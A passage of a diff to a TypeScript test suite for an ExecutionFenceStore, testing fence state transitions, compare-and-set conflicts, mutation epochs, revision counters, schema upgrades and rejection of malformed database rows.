sqlite.exec(legacyFenceDdl); // #then - await expect(fence.read()).resolves.toEqual({ state: 'open' }); + await expect(fence.read()).resolves.toEqual({ + state: 'open', + ...optionalMetadata, + }); }); it('seed() requires an explicit state and never overwrites an existing row', async () => { @@ -96,7 +145,10 @@ describe('ExecutionFenceStore', () => { // #then — the operator's state survives. An upsert here would silently // reopen a fence a migration closed. - await expect(fence.read()).resolves.toEqual({ state: 'migration-locked' }); + await expect(fence.read()).resolves.toEqual({ + state: 'migration-locked', + ...optionalMetadata, + }); // #and — the state is a required argument with no default, so a migration // host cannot forget it and silently get 'open'. @@ -114,8 +166,12 @@ describe('ExecutionFenceStore', () => { const next = await fence.transition({ expected: 'open', next: 'draining' }); // #then - expect(next).toEqual({ state: 'draining' }); - await expect(fence.read()).resolves.toEqual({ state: 'draining' }); + expect(next).toEqual({ + state: 'draining', + ...optionalMetadata, + transitionRevision: 1, + }); + await expect(fence.read()).resolves.toEqual(next); }); it('materializes the implicit-open row of a database that has no fence table', async () => { @@ -126,7 +182,11 @@ describe('ExecutionFenceStore', () => { await fence.transition({ expected: 'open', next: 'draining' }); // #then - await expect(fence.read()).resolves.toEqual({ state: 'draining' }); + await expect(fence.read()).resolves.toEqual({ + state: 'draining', + ...optionalMetadata, + transitionRevision: 1, + }); }); it('refuses a CAS whose expected state is stale, and reports the CURRENT one', async () => { @@ -145,8 +205,15 @@ describe('ExecutionFenceStore', () => { expect((refusal as FenceTransitionConflictError).reason).toEqual({ code: 'FENCE_CAS_CONFLICT', state: 'draining', + ...optionalMetadata, + transitionRevision: 1, + conflict: 'expectation-mismatch', + }); + await expect(fence.read()).resolves.toEqual({ + state: 'draining', + ...optionalMetadata, + transitionRevision: 1, }); - await expect(fence.read()).resolves.toEqual({ state: 'draining' }); }); it("requires a proofKey to enter 'proof-only', and rejects one anywhere else", async () => { @@ -167,7 +234,10 @@ describe('ExecutionFenceStore', () => { proofKey: 'proof-1', }), ).rejects.toBeInstanceOf(InvalidExecutionFenceRequestError); - await expect(fence.read()).resolves.toEqual({ state: 'migration-locked' }); + await expect(fence.read()).resolves.toEqual({ + state: 'migration-locked', + ...optionalMetadata, + }); }); it('clears the proof run on entry to and exit from proof-only', async () => { @@ -184,6 +254,8 @@ describe('ExecutionFenceStore', () => { state: 'proof-only', proofKey: 'proof-1', proofRunId: 'run-1', + ...optionalMetadata, + transitionRevision: 1, }); // #when — a SECOND proof attempt under a new key. @@ -197,11 +269,17 @@ describe('ExecutionFenceStore', () => { await expect(fence.read()).resolves.toEqual({ state: 'proof-only', proofKey: 'proof-2', + ...optionalMetadata, + transitionRevision: 2, }); // #and — leaving proof-only clears both fields. await fence.transition({ expected: 'proof-only', next: 'open' }); - await expect(fence.read()).resolves.toEqual({ state: 'open' }); + await expect(fence.read()).resolves.toEqual({ + state: 'open', + ...optionalMetadata, + transitionRevision: 3, + }); }); describe('recordProofRun', () => { @@ -328,7 +406,10 @@ describe('ExecutionFenceStore', () => { // #then — open, and `recordProofRun` reaches the same conclusion: a // database with no fence table cannot be in proof-only. - await expect(fence.read()).resolves.toEqual({ state: 'open' }); + await expect(fence.read()).resolves.toEqual({ + state: 'open', + ...optionalMetadata, + }); await expect(fence.recordProofRun('proof-1', 'acme_r1')).resolves.toBe( false, ); @@ -440,6 +521,1153 @@ describe('ExecutionFenceStore', () => { }); }); +describe('versioned execution fence persistence', () => { + const activation = { + expected: 'open', + next: 'draining', + expectedMutationEpoch: 0, + expectedRevision: 0, + advanceMutationEpoch: true, + } as const; + const activeReading = { + state: 'draining', + mutationEpoch: 1, + requireMutationEpoch: true, + transitionRevision: 1, + } as const; + + it('keeps legacy readings optional and state-only predicate inputs compatible', async () => { + for (const state of EXECUTION_FENCE_STATES) { + const { sqlite, fence } = fenceFixture(); + sqlite.exec(legacyFenceDdl); + await expect(fence.read()).resolves.toEqual({ + state: 'open', + ...optionalMetadata, + }); + sqlite + .prepare(`INSERT INTO ${EXECUTION_FENCE_TABLE} VALUES (?, ?, ?, ?, ?)`) + .run('deployment', state, 'old key', 'old run', 19); + const expected = { + state, + ...optionalMetadata, + proofKey: 'old key', + proofRunId: 'old run', + }; + await expect(fence.read()).resolves.toEqual(expected); + expect(executionFenceReadingPayload(expected)).toEqual(expected); + expect(executionFenceReadingPayload({ state })).toEqual({ state }); + expect(admitsRunStart({ state })).toBe(state === 'open'); + expect(admitsWorkAuthoring({ state })).toBe(state === 'open'); + expect(admitsExistingRun({ state })).toBe( + state === 'open' || state === 'draining', + ); + expect(admitsDrainableExecution({ state })).toBe( + state === 'open' || state === 'draining', + ); + expect( + sqlite.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`).all(), + ).toHaveLength(5); + } + const { fence } = fenceFixture(); + await expect(fence.read()).resolves.toEqual({ + state: 'open', + ...optionalMetadata, + }); + const conflict = new FenceTransitionConflictError('open', 'draining'); + expect(conflict.message).toBe( + "execution fence transition expected state 'open' but found 'draining'", + ); + expect(conflict.reason).toEqual({ + code: 'FENCE_CAS_CONFLICT', + state: 'draining', + }); + }); + + it('refuses a missing row once any FS8 column exists', async () => { + for (let stage = 1; stage <= 4; stage += 1) { + const { sqlite, db } = fenceFixture(); + sqlite.exec(EXECUTION_FENCE_DDL); + const additions = [ + 'last_transition_request', + 'transition_revision', + 'mutation_epoch', + 'require_mutation_epoch', + ]; + for (const column of additions.slice(stage).reverse()) + sqlite.exec( + `ALTER TABLE ${EXECUTION_FENCE_TABLE} DROP COLUMN ${column}`, + ); + const statements: string[] = []; + const fence = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + statements.push(sql); + return execute(); + }), + ); + for (const action of [ + () => fence.read(), + () => fence.seed('open'), + () => fence.transition(activation), + ]) { + await expect(action()).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + } + expect( + sqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all(), + ).toEqual([]); + expect( + statements.filter((sql) => /^(INSERT|UPDATE|ALTER|CREATE)/.test(sql)), + ).toEqual([]); + } + for (const operation of ['read', 'seed'] as const) { + const { sqlite, db } = fenceFixture(); + sqlite.exec(EXECUTION_FENCE_DDL); + let reads = 0; + const writes: string[] = []; + const regressed = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + if (/^(INSERT|UPDATE|ALTER|CREATE)/.test(sql)) writes.push(sql); + if (sql.startsWith('SELECT *') && ++reads === 2) { + sqlite.exec(`DROP TABLE ${EXECUTION_FENCE_TABLE}`); + sqlite.exec(legacyFenceDdl); + sqlite.exec( + `INSERT INTO ${EXECUTION_FENCE_TABLE} VALUES ('deployment', 'open', NULL, NULL, 0)`, + ); + } + return execute(); + }), + ); + await expect( + operation === 'read' ? regressed.read() : regressed.seed('open'), + ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError); + expect(reads).toBe(2); + expect(writes).toEqual([]); + } + }); + + it('resumes every supported fence schema prefix without reopening the row', async () => { + for (const state of EXECUTION_FENCE_STATES) { + for (let stopAfter = 0; stopAfter <= 4; stopAfter += 1) { + const { sqlite, db } = fenceFixture(); + let additions = 0; + let stopped = false; + const crashing = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + if (stopped) throw new Error('process interrupted'); + const result = await execute(); + if (sql.startsWith('ALTER TABLE')) additions += 1; + if ( + (sql.startsWith('INSERT OR IGNORE') || + sql.startsWith('ALTER TABLE')) && + additions === stopAfter + ) + stopped = true; + return result; + }), + { now: () => 12 }, + ); + await expect(crashing.seed(state)).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + expect( + sqlite.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`).all(), + ).toHaveLength(5 + stopAfter); + const before = rawFence(sqlite); + const fence = new ExecutionFenceStore(db, { now: () => 99 }); + await fence.seed('open'); + await expect(fence.read()).resolves.toEqual({ + state, + ...optionalMetadata, + }); + expect(rawFence(sqlite)).toEqual({ + ...before, + last_transition_request: null, + transition_revision: 0, + mutation_epoch: 0, + require_mutation_epoch: 0, + }); + expect(rawFence(sqlite).updated_at).toBe(12); + } + } + }); + + it('converges concurrent fence schema initialization without batch', async () => { + const { sqlite, db } = fenceFixture(); + const second = new ExecutionFenceStore(db, { now: () => 21 }); + let interleaved = false; + const first = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + const result = await execute(); + if (!interleaved && sql.startsWith('SELECT *')) { + interleaved = true; + await second.seed('migration-locked'); + } + return result; + }), + { now: () => 13 }, + ); + await first.seed('open'); + await expect(first.read()).resolves.toEqual({ + state: 'migration-locked', + ...optionalMetadata, + }); + expect(rawFence(sqlite).updated_at).toBe(21); + expect( + sqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all(), + ).toHaveLength(1); + + const parallel = fenceFixture(); + const outcomes = await Promise.allSettled([ + parallel.fence.seed('draining'), + new ExecutionFenceStore(parallel.db).seed('proof-only'), + ]); + expect(outcomes.map((outcome) => outcome.status)).toEqual([ + 'fulfilled', + 'fulfilled', + ]); + expect((await parallel.fence.read()).transitionRevision).toBe(0); + expect( + parallel.sqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all(), + ).toHaveLength(1); + + const alterRace = fenceFixture(); + let paused = false; + let duplicateAlter = false; + const racingInitializer = new ExecutionFenceStore( + interceptedDatabase(alterRace.db, async (sql, execute) => { + if (!paused && sql.startsWith('ALTER TABLE')) { + paused = true; + await alterRace.fence.seed('open'); + try { + return await execute(); + } catch (error) { + duplicateAlter = true; + throw error; + } + } + return execute(); + }), + ); + await racingInitializer.seed('migration-locked'); + expect(duplicateAlter).toBe(true); + await expect(racingInitializer.read()).resolves.toEqual({ + state: 'migration-locked', + ...optionalMetadata, + }); + }); + + it('does not swallow an ALTER failure unless compatible metadata proves completion', async () => { + for (const outcome of ['before', 'after', 'incompatible'] as const) { + const { db, sqlite } = fenceFixture(); + const failure = new Error('lost ALTER response'); + let injected = false; + const fence = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + if (injected || !sql.startsWith('ALTER TABLE')) return execute(); + injected = true; + if (outcome === 'after') await execute(); + if (outcome === 'incompatible') + sqlite.exec( + `ALTER TABLE ${EXECUTION_FENCE_TABLE} ADD COLUMN last_transition_request INTEGER`, + ); + throw failure; + }), + ); + if (outcome === 'after') { + await fence.seed('draining'); + await expect(fence.read()).resolves.toEqual({ + state: 'draining', + ...optionalMetadata, + }); + } else { + const error = await fence + .seed('draining') + .catch((error: unknown) => error); + expect(error).toBeInstanceOf(ExecutionFenceUnreadableError); + if (outcome === 'before') expect((error as Error).cause).toBe(failure); + else + expect(String((error as Error).cause)).toContain( + 'column last_transition_request differs', + ); + } + } + }); + + it('activates the mutation epoch and requirement in one compare-and-set', async () => { + const { fence, db, sqlite } = fenceFixture(); + await fence.seed('open'); + const outcomes = await Promise.allSettled([ + fence.transition(activation), + new ExecutionFenceStore(db).transition({ + ...activation, + next: 'migration-locked', + }), + ]); + expect( + outcomes.filter((outcome) => outcome.status === 'fulfilled'), + ).toHaveLength(1); + expect( + outcomes.filter((outcome) => outcome.status === 'rejected'), + ).toHaveLength(1); + const stored = rawFence(sqlite); + expect(stored.mutation_epoch).toBe(1); + expect(stored.require_mutation_epoch).toBe(1); + expect(stored.transition_revision).toBe(1); + expect((await fence.read()).mutationEpoch).toBe(1); + }); + + it('converges an identical activation after a lost UPDATE response', async () => { + const { db, sqlite } = fenceFixture(); + let now = 30; + const fence = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + const result = await execute(); + if (sql.startsWith('UPDATE')) throw new Error('response lost'); + return result; + }), + { now: () => now }, + ); + await expect(fence.transition(activation)).resolves.toEqual(activeReading); + const before = rawFence(sqlite); + now = 40; + await expect(fence.transition(activation)).resolves.toEqual(activeReading); + expect(rawFence(sqlite)).toEqual(before); + expect(before.last_transition_request).toBe( + '[1,"open","draining",null,0,0,true]', + ); + }); + + it('distinguishes a conflicting request from an identical resulting state', async () => { + const { fence, sqlite } = fenceFixture(); + await fence.transition(activation); + const before = rawFence(sqlite); + for (const difference of [ + { next: 'open' as const }, + { advanceMutationEpoch: false }, + { expectedMutationEpoch: 1 }, + { expectedRevision: 1 }, + { expected: 'draining' as const }, + { next: 'proof-only' as const, proofKey: 'another-key' }, + ]) { + await expect( + fence.transition({ ...activation, ...difference }), + ).rejects.toBeInstanceOf(FenceTransitionConflictError); + expect(rawFence(sqlite)).toEqual(before); + } + const proof = { + ...activation, + next: 'proof-only' as const, + proofKey: 'key-a', + }; + const other = fenceFixture(); + await other.fence.transition(proof); + await expect( + other.fence.transition({ ...proof, proofKey: 'key-b' }), + ).rejects.toBeInstanceOf(FenceTransitionConflictError); + }); + + it('rejects an upgraded stale revision after a same-epoch state cycle', async () => { + const { fence } = fenceFixture(); + const initial = { + expected: 'open', + next: 'draining', + expectedMutationEpoch: 0, + expectedRevision: 0, + } as const; + await fence.transition(initial); + await fence.transition({ + expected: 'draining', + next: 'open', + expectedMutationEpoch: 0, + expectedRevision: 1, + }); + await expect(fence.transition(initial)).rejects.toBeInstanceOf( + FenceTransitionConflictError, + ); + await expect(fence.read()).resolves.toEqual({ + state: 'open', + ...optionalMetadata, + transitionRevision: 2, + }); + await fence.transition({ expected: 'open', next: 'open' }); + await expect( + fence.transition({ ...initial, expectedRevision: 2 }), + ).rejects.toBeInstanceOf(FenceTransitionConflictError); + }); + + it('keeps the artifact epoch and requirement through lock proof and reopen', async () => { + const { fence } = fenceFixture(); + await fence.transition(activation); + let expected: ExecutionFenceState = 'draining'; + let revision = 1; + for (const next of [ + 'migration-locked', + 'proof-only', + 'open', + 'open', + ] as const) { + await expect( + fence.transition({ + expected, + next, + expectedMutationEpoch: 1, + expectedRevision: revision, + ...(next === 'proof-only' ? { proofKey: 'proof-a' } : {}), + }), + ).resolves.toEqual({ + state: next, + mutationEpoch: 1, + requireMutationEpoch: true, + transitionRevision: ++revision, + ...(next === 'proof-only' ? { proofKey: 'proof-a' } : {}), + }); + expected = next; + } + }); + + it('preserves a bound proof run when the entry transition is retried', async () => { + const { fence, sqlite } = fenceFixture(); + const command = { + ...activation, + next: 'proof-only' as const, + proofKey: 'proof-a', + }; + const admitted = await fence.transition(command); + expect(await fence.recordProofRun('proof-a', 'run-a', admitted)).toBe(true); + const before = rawFence(sqlite); + await expect(fence.transition(command)).resolves.toEqual({ + ...admitted, + proofRunId: 'run-a', + }); + expect(rawFence(sqlite)).toEqual(before); + await expect( + fence.transition({ + expected: 'proof-only', + next: 'proof-only', + proofKey: 'proof-a', + expectedMutationEpoch: 1, + expectedRevision: 1, + }), + ).resolves.toEqual({ ...admitted, transitionRevision: 2 }); + expect(rawFence(sqlite).proof_run_id).toBeNull(); + }); + + it('rejects an old proof admission after same-key proof reentry', async () => { + const { db, sqlite } = fenceFixture(); + let now = 20; + const fence = new ExecutionFenceStore(db, { now: () => now }); + const admitted = await fence.transition({ + ...activation, + next: 'proof-only', + proofKey: 'proof-a', + }); + await fence.transition({ + expected: 'proof-only', + next: 'migration-locked', + expectedMutationEpoch: 1, + expectedRevision: 1, + }); + const current = await fence.transition({ + expected: 'migration-locked', + next: 'proof-only', + proofKey: 'proof-a', + expectedMutationEpoch: 1, + expectedRevision: 2, + }); + expect(await fence.recordProofRun('proof-a', 'run-a', admitted)).toBe( + false, + ); + expect(await fence.recordProofRun('proof-a', 'run-a', current)).toBe(true); + const before = rawFence(sqlite); + now = 99; + expect(await fence.recordProofRun('proof-a', 'run-a', current)).toBe(true); + expect(await fence.recordProofRun('proof-a', 'run-b', current)).toBe(false); + expect(rawFence(sqlite)).toEqual(before); + }); + + it('fences a queued legacy admin write at activation', async () => { + for (const legacyFirst of [true, false]) { + const { fence, db } = fenceFixture(); + await fence.seed('open'); + let triggered = false; + const queued = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + if (!triggered && sql.startsWith('UPDATE')) { + triggered = true; + if (legacyFirst) + await fence.transition({ expected: 'open', next: 'open' }); + else await fence.transition({ ...activation, next: 'open' }); + } + return execute(); + }), + ); + await expect( + queued.transition( + legacyFirst ? activation : { expected: 'open', next: 'draining' }, + ), + ).rejects.toBeInstanceOf(FenceTransitionConflictError); + await expect(fence.read()).resolves.toEqual({ + state: 'open', + mutationEpoch: legacyFirst ? 0 : 1, + requireMutationEpoch: !legacyFirst, + transitionRevision: 1, + }); + } + }); + + it('captures proof admission counters before storage waits', async () => { + for (const advance of [false, true]) { + for (const responseLost of [false, true]) { + const { fence, db, sqlite } = fenceFixture(); + const admitted = { + ...(await fence.transition({ + ...activation, + next: 'proof-only', + proofKey: 'key', + })), + }; + const failure = new Error('proof response lost'); + let replaced = false; + const queued = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + const result = await execute(); + if (!replaced && sql.startsWith('SELECT *')) { + replaced = true; + const current = await fence.transition({ + expected: 'proof-only', + next: 'proof-only', + proofKey: 'key', + expectedMutationEpoch: 1, + expectedRevision: 1, + advanceMutationEpoch: advance, + }); + admitted.mutationEpoch = current.mutationEpoch; + admitted.transitionRevision = current.transitionRevision; + } + if (responseLost && sql.startsWith('UPDATE')) { + expect(await fence.recordProofRun('key', 'run', admitted)).toBe( + true, + ); + throw failure; + } + return result; + }), + ); + if (responseLost) { + const error = await queued + .recordProofRun('key', 'run', admitted) + .catch((error: unknown) => error); + expect(error).toBeInstanceOf(ExecutionFenceUnreadableError); + expect((error as Error).cause).toBe(failure); + } else { + expect(await queued.recordProofRun('key', 'run', admitted)).toBe( + false, + ); + expect(rawFence(sqlite).proof_run_id).toBeNull(); + } + expect(rawFence(sqlite).transition_revision).toBe(2); + expect(rawFence(sqlite).mutation_epoch).toBe(advance ? 2 : 1); + } + } + }); + + it('refuses legacy proof binding after activation without upgrading its authority', async () => { + const { fence, db, sqlite } = fenceFixture(); + await fence.transition({ + expected: 'open', + next: 'proof-only', + proofKey: 'proof-a', + }); + const queued = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + if (sql.startsWith('UPDATE')) + await fence.transition({ + expected: 'proof-only', + next: 'proof-only', + proofKey: 'proof-a', + expectedMutationEpoch: 0, + expectedRevision: 1, + advanceMutationEpoch: true, + }); + return execute(); + }), + ); + expect(await queued.recordProofRun('proof-a', 'run-a')).toBe(false); + expect(rawFence(sqlite).proof_run_id).toBeNull(); + await expect(fence.read()).resolves.toEqual({ + state: 'proof-only', + proofKey: 'proof-a', + mutationEpoch: 1, + requireMutationEpoch: true, + transitionRevision: 2, + }); + }); + + it('validates the captured advance flag before initialization', async () => { + const { fence, sqlite } = fenceFixture(); + let reads = 0; + await expect( + fence.transition({ + ...activation, + get advanceMutationEpoch() { + reads += 1; + return reads === 1 ? 'false' : false; + }, + }), + ).rejects.toBeInstanceOf(InvalidExecutionFenceRequestError); + expect(reads).toBe(1); + expect(schemaSnapshot(sqlite)).toEqual([]); + }); + + it('validates exact counters and never wraps the epoch or revision', async () => { + const { fence, sqlite } = fenceFixture(); + const invalid = [ + -1, + 0.5, + Number.NaN, + Number.POSITIVE_INFINITY, + '0', + null, + true, + Number.MAX_SAFE_INTEGER + 1, + ]; + for (const value of invalid) { + for (const key of [ + 'expectedMutationEpoch', + 'expectedRevision', + ] as const) { + await expect( + fence.transition({ ...activation, [key]: value }), + ).rejects.toBeInstanceOf(InvalidExecutionFenceRequestError); + } + await expect( + fence.recordProofRun('key', 'run', { + mutationEpoch: value as number, + transitionRevision: 0, + }), + ).rejects.toBeInstanceOf(InvalidExecutionFenceRequestError); + await expect( + fence.recordProofRun('key', 'run', { + mutationEpoch: 0, + transitionRevision: value as number, + }), + ).rejects.toBeInstanceOf(InvalidExecutionFenceRequestError); + } + for (const admitted of [ + null, + {}, + { mutationEpoch: 0 }, + { transitionRevision: 0 }, + ]) { + await expect( + fence.recordProofRun( + 'key', + 'run', + // @ts-expect-error runtime validation also rejects untyped partial authority + admitted, + ), + ).rejects.toBeInstanceOf(InvalidExecutionFenceRequestError); + } + for (const input of [ + { + expected: 'open' as const, + next: 'open' as const, + expectedMutationEpoch: 0, + }, + { expected: 'open' as const, next: 'open' as const, expectedRevision: 0 }, + { + expected: 'open' as const, + next: 'open' as const, + advanceMutationEpoch: true, + }, + { ...activation, expectedRevision: Number.MAX_SAFE_INTEGER }, + { ...activation, expectedMutationEpoch: Number.MAX_SAFE_INTEGER }, + ...[null, 0, 'false'].map((advanceMutationEpoch) => ({ + ...activation, + advanceMutationEpoch, + })), + ]) + await expect(fence.transition(input)).rejects.toBeInstanceOf( + InvalidExecutionFenceRequestError, + ); + expect(schemaSnapshot(sqlite)).toEqual([]); + await fence.seed('open'); + sqlite.exec( + `UPDATE ${EXECUTION_FENCE_TABLE} SET transition_revision = 9007199254740990`, + ); + const maximum = { + ...activation, + advanceMutationEpoch: false, + expectedRevision: Number.MAX_SAFE_INTEGER - 1, + }; + await fence.transition(maximum); + await expect(fence.transition(maximum)).resolves.toEqual({ + state: 'draining', + ...optionalMetadata, + transitionRevision: Number.MAX_SAFE_INTEGER, + }); + await expect( + fence.transition({ expected: 'draining', next: 'open' }), + ).rejects.toBeInstanceOf(FenceTransitionConflictError); + expect(rawFence(sqlite).transition_revision).toBe(Number.MAX_SAFE_INTEGER); + + const nearMaximumEpoch = fenceFixture(); + await nearMaximumEpoch.fence.transition(activation); + nearMaximumEpoch.sqlite + .prepare( + `UPDATE ${EXECUTION_FENCE_TABLE} SET mutation_epoch = ?, last_transition_request = ?`, + ) + .run( + Number.MAX_SAFE_INTEGER - 1, + JSON.stringify([ + 1, + 'open', + 'draining', + null, + Number.MAX_SAFE_INTEGER - 2, + 0, + true, + ]), + ); + const lastEpoch = { + ...activation, + expected: 'draining' as const, + next: 'proof-only' as const, + proofKey: 'key', + expectedMutationEpoch: Number.MAX_SAFE_INTEGER - 1, + expectedRevision: 1, + }; + const full = { + state: 'proof-only', + proofKey: 'key', + mutationEpoch: Number.MAX_SAFE_INTEGER, + requireMutationEpoch: true, + transitionRevision: 2, + }; + await expect(nearMaximumEpoch.fence.transition(lastEpoch)).resolves.toEqual( + full, + ); + await expect(nearMaximumEpoch.fence.transition(lastEpoch)).resolves.toEqual( + full, + ); + expect( + await nearMaximumEpoch.fence.recordProofRun('key', 'run', { + mutationEpoch: Number.MAX_SAFE_INTEGER, + transitionRevision: 2, + }), + ).toBe(true); + await expect( + nearMaximumEpoch.fence.transition({ + expected: 'proof-only', + next: 'open', + expectedMutationEpoch: Number.MAX_SAFE_INTEGER, + expectedRevision: 2, + }), + ).resolves.toEqual({ + state: 'open', + mutationEpoch: Number.MAX_SAFE_INTEGER, + requireMutationEpoch: true, + transitionRevision: 3, + }); + }); + + it('rejects malformed receipt bytes and incoherent upgraded rows', async () => { + const { fence, sqlite } = fenceFixture(); + await fence.transition(activation); + const corruptions: Record[] = [ + { last_transition_request: '{' }, + { last_transition_request: ' '.repeat(513) }, + ...[ + null, + {}, + [], + [2, 'open', 'draining', null, 0, 0, true], + [1, 'open', 'draining', null, '0', 0, true], + [1, 'open', 'draining', null, 0, 0, 1], + [1, 'open', 'proof-only', 'bad key', 0, 0, true], + [1, 'open', 'draining', 'bad-key', 0, 0, true], + [1, 'open', 'draining', null, 0, 0, true, 0], + ].map((receipt) => ({ + last_transition_request: JSON.stringify(receipt), + })), + { last_transition_request: '[1, "open","draining",null,0,0,true]' }, + { state: 'open' }, + { proof_key: 'unexpected' }, + { proof_run_id: 'unexpected' }, + { mutation_epoch: 2 }, + { transition_revision: 2 }, + { require_mutation_epoch: 0 }, + { mutation_epoch: 0 }, + { transition_revision: 0 }, + { last_transition_request: null }, + ]; + const before = rawFence(sqlite); + for (const corruption of corruptions) { + const columns = Object.keys(corruption); + sqlite + .prepare( + `UPDATE ${EXECUTION_FENCE_TABLE} SET ${columns.map((key) => `${key} = ?`).join(', ')}`, + ) + .run(...Object.values(corruption)); + for (const action of [ + () => fence.read(), + () => fence.seed('open'), + () => fence.transition(activation), + ]) { + await expect(action()).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + } + sqlite + .prepare( + `UPDATE ${EXECUTION_FENCE_TABLE} SET ${Object.keys(before) + .map((key) => `${key} = ?`) + .join(', ')}`, + ) + .run(...Object.values(before)); + } + for (const result of [ + null, + {}, + { results: null }, + { results: [undefined] }, + { results: [before, before] }, + { results: [{ ...before, transition_revision: 2 }] }, + ]) { + let reads = 0; + const wrapped = new ExecutionFenceStore( + interceptedDatabase(fenceFixture().db, async (sql, execute) => { + if (sql.startsWith('UPDATE')) return result; + if (sql.startsWith('SELECT *')) reads += 1; + return execute(); + }), + ); + await wrapped.seed('open'); + reads = 0; + await expect(wrapped.transition(activation)).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + expect(reads).toBe(3); + } + + for (const success of [false, undefined, null, 0, 'true']) { + for (const target of ['row', 'schema', 'transition', 'proof'] as const) { + const { db, fence: authority } = fenceFixture(); + const admitted = await authority.transition({ + ...activation, + next: 'proof-only', + proofKey: 'key', + }); + let updateReturned = false; + let postUpdateReads = 0; + const malformed = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + const result = await execute(); + if (updateReturned && /^(SELECT|PRAGMA)/.test(sql)) + postUpdateReads += 1; + const selected = + target === 'row' + ? sql.startsWith('SELECT *') + : target === 'schema' + ? sql.startsWith('PRAGMA') + : sql.startsWith('UPDATE'); + if (!selected) return result; + if (sql.startsWith('UPDATE')) updateReturned = true; + return { ...(result as { results: unknown[] }), success }; + }), + ); + const operation = + target === 'transition' + ? malformed.transition({ + expected: 'proof-only', + next: 'open', + expectedMutationEpoch: 1, + expectedRevision: 1, + }) + : target === 'proof' + ? malformed.recordProofRun('key', 'run', admitted) + : malformed.read(); + await expect(operation).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + expect(postUpdateReads).toBe(0); + } + } + + for (const [column, value] of [ + ['last_transition_request', null], + ['transition_revision', '0'], + ['mutation_epoch', true], + ['require_mutation_epoch', false], + ['require_mutation_epoch', '1'], + ] as const) { + const { db, fence: valid } = fenceFixture(); + await valid.transition(activation); + const malformed = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + const result = await execute(); + if (!sql.startsWith('SELECT *')) return result; + const rows = result as { results: Record[] }; + return { + results: rows.results.map((row) => ({ ...row, [column]: value })), + }; + }), + ); + await expect(malformed.read()).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + } + }); + + it('rejects sparse result rows without uncertain-write recovery', async () => { + for (const target of ['row', 'schema', 'transition', 'proof'] as const) { + const { fence, db, sqlite } = fenceFixture(); + const admitted = await fence.transition({ + ...activation, + next: 'proof-only', + proofKey: 'key', + }); + let malformedReturned = false; + let subsequentReads = 0; + const malformed = new ExecutionFenceStore( + interceptedDatabase(db, async (sql, execute) => { + if (malformedReturned && /^(SELECT|PRAGMA)/.test(sql)) + subsequentReads += 1; + const result = await execute(); + const selected = + target === 'row' + ? sql.startsWith('SELECT *') + : target === 'schema' + ? sql.startsWith('PRAGMA') + : sql.startsWith('UPDATE'); + if (selected) { + const rows = result as { results: unknown[] }; + expect(rows.results.length).toBeGreaterThan(0); + delete rows.results[0]; + malformedReturned = true; + } + return result; + }), + ); + const operation = + target === 'transition' + ? malformed.transition({ + expected: 'proof-only', + next: 'open', + expectedMutationEpoch: 1, + expectedRevision: 1, + }) + : target === 'proof' + ? malformed.recordProofRun('key', 'run', admitted) + : malformed.read(); + await expect(operation).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + expect(subsequentReads).toBe(0); + if (target === 'transition') expect(rawFence(sqlite).state).toBe('open'); + if (target === 'proof') expect(rawFence(sqlite).proof_run_id).toBe('run'); + } + }); + + it('rejects generated or hidden extra fence columns', async () => { + const { fence, sqlite } = fenceFixture(); + await fence.seed('open'); + sqlite.exec( + `ALTER TABLE ${EXECUTION_FENCE_TABLE} ADD COLUMN invisible TEXT GENERATED ALWAYS AS (state) VIRTUAL`, + ); + expect( + sqlite.prepare(`PRAGMA table_info(${EXECUTION_FENCE_TABLE})`).all(), + ).toHaveLength(9); + expect( + sqlite.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`).all(), + ).toHaveLength(10); + await expect(fence.read()).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + await expect(fence.seed('open')).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + for (const schema of [ + EXECUTION_FENCE_DDL.replace( + 'last_transition_request TEXT', + 'last_transition_request INTEGER', + ), + EXECUTION_FENCE_DDL.replace( + 'last_transition_request TEXT', + 'last_transition_request TEXT DEFAULT NULL', + ), + EXECUTION_FENCE_DDL.replace( + 'transition_revision INTEGER NOT NULL DEFAULT 0', + "transition_revision INTEGER NOT NULL DEFAULT '0'", + ), + EXECUTION_FENCE_DDL.replace( + 'proof_key TEXT,\n proof_run_id TEXT', + 'proof_run_id TEXT,\n proof_key TEXT', + ), + EXECUTION_FENCE_DDL.replace( + 'last_transition_request TEXT', + 'other_receipt TEXT', + ), + EXECUTION_FENCE_DDL.replace( + 'proof_key TEXT,', + 'proof_key TEXT GENERATED ALWAYS AS (state) VIRTUAL,', + ), + ]) { + const malformed = fenceFixture(); + malformed.sqlite.exec(schema); + await expect(malformed.fence.read()).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + await expect(malformed.fence.seed('open')).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + expect( + malformed.sqlite + .prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`) + .all(), + ).toEqual([]); + } + }); + + it('distinguishes proof misses from missing or malformed modern state', async () => { + for (const outcome of [ + 'missing', + 